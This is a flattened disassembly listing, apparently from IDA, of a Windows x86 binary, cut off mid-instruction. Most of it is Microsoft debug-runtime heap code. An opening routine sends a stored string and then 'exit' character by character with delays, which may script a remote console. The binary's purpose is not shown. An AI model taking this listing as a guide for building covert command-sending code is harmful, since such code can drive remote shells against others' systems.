[ebp-1Ch] call sub_41A764 add esp, 0Ch push 7530h call esi ; dword_4F12F4 and dword ptr [ebp-18h], 0 mov ebx, offset byte_43CCBC push ebx call sub_41AC70 test eax, eax pop ecx jbe short loc_41ABDF loc_41ABA0: ; CODE XREF: seg000:0041ABDDj mov eax, [ebp-18h] movsx eax, ds:byte_43CCBC[eax] push eax push offset aC_2 ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_41D360 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 1Ch push 7Dh call esi ; dword_4F12F4 inc dword ptr [ebp-18h] push ebx call sub_41AC70 cmp [ebp-18h], eax pop ecx jb short loc_41ABA0 loc_41ABDF: ; CODE XREF: seg000:0041AB9Ej push edi call esi ; dword_4F12F4 xor ebx, ebx lea eax, [ebp-0Ch] push ebx push eax push dword ptr [ebp-1Ch] call sub_41A764 mov edi, offset aExit ; "exit" push edi call sub_41AC70 add esp, 10h test eax, eax jbe short loc_41AC3C loc_41AC03: ; CODE XREF: seg000:0041AC3Aj movsx eax, byte ptr ds:aExit[ebx] ; "exit" push eax push offset aC_3 ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_41D360 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 1Ch push 7Dh call esi ; dword_4F12F4 push edi inc ebx call sub_41AC70 cmp ebx, eax pop ecx jb short loc_41AC03 loc_41AC3C: ; CODE XREF: seg000:0041AC01j push 2 pop edi loc_41AC3F: ; CODE XREF: seg000:0041AC58j push 258h call esi ; dword_4F12F4 lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_41A764 add esp, 0Ch dec edi jnz short loc_41AC3F mov ebx, [ebp-1Ch] push 1 pop esi loc_41AC60: ; CODE XREF: seg000:0041A95Dj ; seg000:0041A9B9j ... push ebx call ds:dword_451588 mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41AC70 proc near ; CODE XREF: start+34p ; seg000:0040120Cp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41AC90 loc_41AC7C: ; CODE XREF: sub_41AC70+19j mov al, [ecx] inc ecx test al, al jz short loc_41ACC3 test ecx, 3 jnz short loc_41AC7C add eax, 0 loc_41AC90: ; CODE XREF: sub_41AC70+Aj ; sub_41AC70+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41AC90 mov eax, [ecx-4] test al, al jz short loc_41ACE1 test ah, ah jz short loc_41ACD7 test eax, 0FF0000h jz short loc_41ACCD test eax, 0FF000000h jz short loc_41ACC3 jmp short loc_41AC90 ; --------------------------------------------------------------------------- loc_41ACC3: ; CODE XREF: sub_41AC70+11j ; sub_41AC70+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41ACCD: ; CODE XREF: sub_41AC70+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41ACD7: ; CODE XREF: sub_41AC70+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41ACE1: ; CODE XREF: sub_41AC70+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AC70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF0 proc near ; CODE XREF: seg000:00401127p ; seg000:00405533p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_41ACFE: ; CODE XREF: sub_41ACF0+36j cmp [ebp+arg_0], 0 jnz short loc_41AD22 push offset dword_4394EC push 0 push 3Ah push offset dword_4394E0 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41AD22 int 3 ; Trap to Debugger loc_41AD22: ; CODE XREF: sub_41ACF0+12j ; sub_41ACF0+2Fj xor eax, eax test eax, eax jnz short loc_41ACFE mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_41AD41 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_41AD68 ; --------------------------------------------------------------------------- loc_41AD41: ; CODE XREF: sub_41ACF0+43j mov ecx, [ebp+arg_0] push ecx call sub_41F070 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_41AD80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_41F0E0 add esp, 4 loc_41AD68: ; CODE XREF: sub_41ACF0+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41ACF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD80 proc near ; CODE XREF: sub_41ACF0+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_41AD96: ; CODE XREF: sub_41AD80+3Ej cmp [ebp+arg_0], 0 jnz short loc_41ADBA push offset dword_4394FC push 0 push 77h push offset dword_4394E0 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41ADBA int 3 ; Trap to Debugger loc_41ADBA: ; CODE XREF: sub_41AD80+1Aj ; sub_41AD80+37j xor ecx, ecx test ecx, ecx jnz short loc_41AD96 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41AE2A mov ecx, [ebp+var_8] push ecx call sub_421720 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_4215E0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_4214B0 add esp, 4 test eax, eax jge short loc_41AE06 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_41AE2A ; --------------------------------------------------------------------------- loc_41AE06: ; CODE XREF: sub_41AD80+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_41AE2A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_41B8F0 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_41AE2A: ; CODE XREF: sub_41AD80+4Dj ; sub_41AD80+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41AD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE40 proc near ; CODE XREF: seg000:004010C9p ; sub_402533+63p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push 1 mov eax, ds:dword_4EE9E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_41AEB0 add esp, 14h pop ebp retn sub_41AE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE60 proc near ; CODE XREF: sub_41B270+20p ; sub_41B330+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, ds:dword_4EE9E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_41AEB0 add esp, 14h pop ebp retn sub_41AE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE90 proc near ; CODE XREF: sub_41FD90+9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41AEB0 add esp, 14h pop ebp retn sub_41AE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEB0 proc near ; CODE XREF: sub_41AE40+13p ; sub_41AE60+19p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx loc_41AEB4: ; CODE XREF: sub_41AEB0:loc_41AF08j push 9 call sub_421A80 add esp, 4 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_41AF30 add esp, 10h mov [ebp+var_4], eax push 9 call sub_421B20 add esp, 4 cmp [ebp+var_4], 0 jnz short loc_41AEEF cmp [ebp+arg_4], 0 jnz short loc_41AEF4 loc_41AEEF: ; CODE XREF: sub_41AEB0+37j mov eax, [ebp+var_4] jmp short loc_41AF0A ; --------------------------------------------------------------------------- loc_41AEF4: ; CODE XREF: sub_41AEB0+3Dj mov ecx, [ebp+arg_0] push ecx call sub_421970 add esp, 4 test eax, eax jnz short loc_41AF08 xor eax, eax jmp short loc_41AF0A ; --------------------------------------------------------------------------- loc_41AF08: ; CODE XREF: sub_41AEB0+52j jmp short loc_41AEB4 ; --------------------------------------------------------------------------- loc_41AF0A: ; CODE XREF: sub_41AEB0+42j ; sub_41AEB0+56j mov esp, ebp pop ebp retn sub_41AEB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_41AF30 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF30 proc near ; CODE XREF: sub_41AEB0+1Ep ; seg000:0041AF1Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, ds:dword_44FA40 and eax, 4 test eax, eax jz short loc_41AF7C loc_41AF4C: ; CODE XREF: sub_41AF30+4Aj call sub_41C000 test eax, eax jnz short loc_41AF76 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 141h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41AF76 int 3 ; Trap to Debugger loc_41AF76: ; CODE XREF: sub_41AF30+23j ; sub_41AF30+43j xor ecx, ecx test ecx, ecx jnz short loc_41AF4C loc_41AF7C: ; CODE XREF: sub_41AF30+1Aj mov edx, ds:dword_44FA44 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, ds:dword_44FA48 jnz short loc_41AF91 int 3 ; Trap to Debugger loc_41AF91: ; CODE XREF: sub_41AF30+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call ds:off_44FE20 add esp, 1Ch test eax, eax jnz short loc_41B014 cmp [ebp+arg_8], 0 jz short loc_41AFE7 loc_41AFBC: ; CODE XREF: sub_41AF30+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 1Ch cmp eax, 1 jnz short loc_41AFDF int 3 ; Trap to Debugger loc_41AFDF: ; CODE XREF: sub_41AF30+ACj xor edx, edx test edx, edx jnz short loc_41AFBC jmp short loc_41B00D ; --------------------------------------------------------------------------- loc_41AFE7: ; CODE XREF: sub_41AF30+8Aj ; sub_41AF30+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B007 int 3 ; Trap to Debugger loc_41B007: ; CODE XREF: sub_41AF30+D4j xor eax, eax test eax, eax jnz short loc_41AFE7 loc_41B00D: ; CODE XREF: sub_41AF30+B5j xor eax, eax jmp loc_41B23C ; --------------------------------------------------------------------------- loc_41B014: ; CODE XREF: sub_41AF30+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41B036 mov edx, ds:dword_44FA40 and edx, 1 test edx, edx jnz short loc_41B036 mov [ebp+var_C], 1 loc_41B036: ; CODE XREF: sub_41AF30+F0j ; sub_41AF30+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41B047 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_41B073 loc_41B047: ; CODE XREF: sub_41AF30+10Aj ; sub_41AF30+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B066 int 3 ; Trap to Debugger loc_41B066: ; CODE XREF: sub_41AF30+133j xor edx, edx test edx, edx jnz short loc_41B047 xor eax, eax jmp loc_41B23C ; --------------------------------------------------------------------------- loc_41B073: ; CODE XREF: sub_41AF30+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_41B0C0 cmp [ebp+arg_4], 1 jz short loc_41B0C0 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41B0C0 cmp [ebp+arg_4], 3 jz short loc_41B0C0 loc_41B09A: ; CODE XREF: sub_41AF30+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B0BA int 3 ; Trap to Debugger loc_41B0BA: ; CODE XREF: sub_41AF30+187j xor edx, edx test edx, edx jnz short loc_41B09A loc_41B0C0: ; CODE XREF: sub_41AF30+14Ej ; sub_41AF30+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_421BE0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41B0E5 xor eax, eax jmp loc_41B23C ; --------------------------------------------------------------------------- loc_41B0E5: ; CODE XREF: sub_41AF30+1ACj mov edx, ds:dword_44FA44 add edx, 1 mov ds:dword_44FA44, edx cmp [ebp+var_C], 0 jz short loc_41B143 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_41B1E3 ; --------------------------------------------------------------------------- loc_41B143: ; CODE XREF: sub_41AF30+1C8j mov edx, ds:dword_4EE958 add edx, [ebp+arg_0] mov ds:dword_4EE958, edx mov eax, ds:dword_4EE960 add eax, [ebp+arg_0] mov ds:dword_4EE960, eax mov ecx, ds:dword_4EE960 cmp ecx, ds:dword_4EE964 jbe short loc_41B179 mov edx, ds:dword_4EE960 mov ds:dword_4EE964, edx loc_41B179: ; CODE XREF: sub_41AF30+23Bj cmp ds:dword_4EE95C, 0 jz short loc_41B18F mov eax, ds:dword_4EE95C mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_41B198 ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41AF30+250j mov edx, [ebp+var_4] mov ds:dword_4EE954, edx loc_41B198: ; CODE XREF: sub_41AF30+25Dj mov eax, [ebp+var_4] mov ecx, ds:dword_4EE95C mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov ds:dword_4EE95C, ecx loc_41B1E3: ; CODE XREF: sub_41AF30+20Ej push 4 xor edx, edx mov dl, ds:byte_44FA4C push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_41D100 add esp, 0Ch push 4 xor ecx, ecx mov cl, ds:byte_44FA4C push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_41D100 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, ds:byte_44FA4E push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_41D100 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_41B23C: ; CODE XREF: sub_41AF30+DFj ; sub_41AF30+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41AF30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B250 proc near ; CODE XREF: sub_40DBFE+1Ep ; sub_40DBFE+37p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B270 add esp, 14h pop ebp retn sub_41B250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B270 proc near ; CODE XREF: sub_41B250+11p ; sub_41EF20+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_41AE60 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41B2C9 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_41B2B0: ; CODE XREF: sub_41B270+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_41B2C9 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_41B2B0 ; --------------------------------------------------------------------------- loc_41B2C9: ; CODE XREF: sub_41B270+2Fj ; sub_41B270+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41B270 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2D0 proc near ; CODE XREF: seg000:004010F1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B2F0 add esp, 14h pop ebp retn sub_41B2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2F0 proc near ; CODE XREF: sub_41B2D0+11p ; sub_41FDB0+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_421A80 add esp, 4 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B330 add esp, 18h mov [ebp+var_4], eax push 9 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41B2F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B330 proc near ; CODE XREF: sub_41B2F0+24p ; sub_41B870+24p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_41B363 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_41AE60 add esp, 10h jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B363: ; CODE XREF: sub_41B330+14j cmp [ebp+arg_14], 0 jz short loc_41B386 cmp [ebp+arg_4], 0 jnz short loc_41B386 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_41B8F0 add esp, 8 xor eax, eax jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B386: ; CODE XREF: sub_41B330+37j ; sub_41B330+3Dj mov eax, ds:dword_44FA40 and eax, 4 test eax, eax jz short loc_41B3C2 loc_41B392: ; CODE XREF: sub_41B330+90j call sub_41C000 test eax, eax jnz short loc_41B3BC push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 239h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B3BC int 3 ; Trap to Debugger loc_41B3BC: ; CODE XREF: sub_41B330+69j ; sub_41B330+89j xor ecx, ecx test ecx, ecx jnz short loc_41B392 loc_41B3C2: ; CODE XREF: sub_41B330+60j mov edx, ds:dword_44FA44 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, ds:dword_44FA48 jnz short loc_41B3D7 int 3 ; Trap to Debugger loc_41B3D7: ; CODE XREF: sub_41B330+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call ds:off_44FE20 add esp, 1Ch test eax, eax jnz short loc_41B45C cmp [ebp+arg_C], 0 jz short loc_41B42F loc_41B404: ; CODE XREF: sub_41B330+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 1Ch cmp eax, 1 jnz short loc_41B427 int 3 ; Trap to Debugger loc_41B427: ; CODE XREF: sub_41B330+F4j xor eax, eax test eax, eax jnz short loc_41B404 jmp short loc_41B455 ; --------------------------------------------------------------------------- loc_41B42F: ; CODE XREF: sub_41B330+D2j ; sub_41B330+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B44F int 3 ; Trap to Debugger loc_41B44F: ; CODE XREF: sub_41B330+11Cj xor ecx, ecx test ecx, ecx jnz short loc_41B42F loc_41B455: ; CODE XREF: sub_41B330+FDj xor eax, eax jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B45C: ; CODE XREF: sub_41B330+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41B48E loc_41B462: ; CODE XREF: sub_41B330+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B481 int 3 ; Trap to Debugger loc_41B481: ; CODE XREF: sub_41B330+14Ej xor eax, eax test eax, eax jnz short loc_41B462 xor eax, eax jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B48E: ; CODE XREF: sub_41B330+130j cmp [ebp+arg_8], 1 jz short loc_41B4D6 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41B4D6 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_41B4D6 loc_41B4B0: ; CODE XREF: sub_41B330+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41B4D0 int 3 ; Trap to Debugger loc_41B4D0: ; CODE XREF: sub_41B330+19Dj xor eax, eax test eax, eax jnz short loc_41B4B0 loc_41B4D6: ; CODE XREF: sub_41B330+162j ; sub_41B330+170j ... mov ecx, [ebp+arg_0] push ecx call sub_41C460 add esp, 4 test eax, eax jnz short loc_41B507 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 261h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B507 int 3 ; Trap to Debugger loc_41B507: ; CODE XREF: sub_41B330+1B4j ; sub_41B330+1D4j xor edx, edx test edx, edx jnz short loc_41B4D6 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_41B526 mov [ebp+var_14], 1 loc_41B526: ; CODE XREF: sub_41B330+1EDj cmp [ebp+var_14], 0 jz short loc_41B56A loc_41B52C: ; CODE XREF: sub_41B330+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41B541 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_41B562 loc_41B541: ; CODE XREF: sub_41B330+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 26Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B562 int 3 ; Trap to Debugger loc_41B562: ; CODE XREF: sub_41B330+20Fj ; sub_41B330+22Fj xor ecx, ecx test ecx, ecx jnz short loc_41B52C jmp short loc_41B5CE ; --------------------------------------------------------------------------- loc_41B56A: ; CODE XREF: sub_41B330+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41B58F mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41B58F mov [ebp+arg_8], 2 loc_41B58F: ; CODE XREF: sub_41B330+248j ; sub_41B330+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_41B5C8 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 272h push offset aDbgheap_c ; "dbgheap.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41B5C8 int 3 ; Trap to Debugger loc_41B5C8: ; CODE XREF: sub_41B330+275j ; sub_41B330+295j xor edx, edx test edx, edx jnz short loc_41B58F loc_41B5CE: ; CODE XREF: sub_41B330+238j cmp [ebp+arg_14], 0 jz short loc_41B5F9 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_421D10 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41B5F7 xor eax, eax jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B5F7: ; CODE XREF: sub_41B330+2BEj jmp short loc_41B61C ; --------------------------------------------------------------------------- loc_41B5F9: ; CODE XREF: sub_41B330+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_421C60 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41B61C xor eax, eax jmp loc_41B83A ; --------------------------------------------------------------------------- loc_41B61C: ; CODE XREF: sub_41B330:loc_41B5F7j ; sub_41B330+2E3j mov ecx, ds:dword_44FA44 add ecx, 1 mov ds:dword_44FA44, ecx cmp [ebp+var_14], 0 jnz short loc_41B687 mov edx, [ebp+var_C] mov eax, ds:dword_4EE958 sub eax, [edx+10h] mov ds:dword_4EE958, eax mov ecx, ds:dword_4EE958 add ecx, [ebp+arg_4] mov ds:dword_4EE958, ecx mov edx, [ebp+var_C] mov eax, ds:dword_4EE960 sub eax, [edx+10h] mov ds:dword_4EE960, eax mov ecx, ds:dword_4EE960 add ecx, [ebp+arg_4] mov ds:dword_4EE960, ecx mov edx, ds:dword_4EE960 cmp edx, ds:dword_4EE964 jbe short loc_41B687 mov eax, ds:dword_4EE960 mov ds:dword_4EE964, eax loc_41B687: ; CODE XREF: sub_41B330+2FFj ; sub_41B330+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41B6BF mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, ds:byte_44FA4E push eax mov ecx, [ebp+var_C] mov edx, 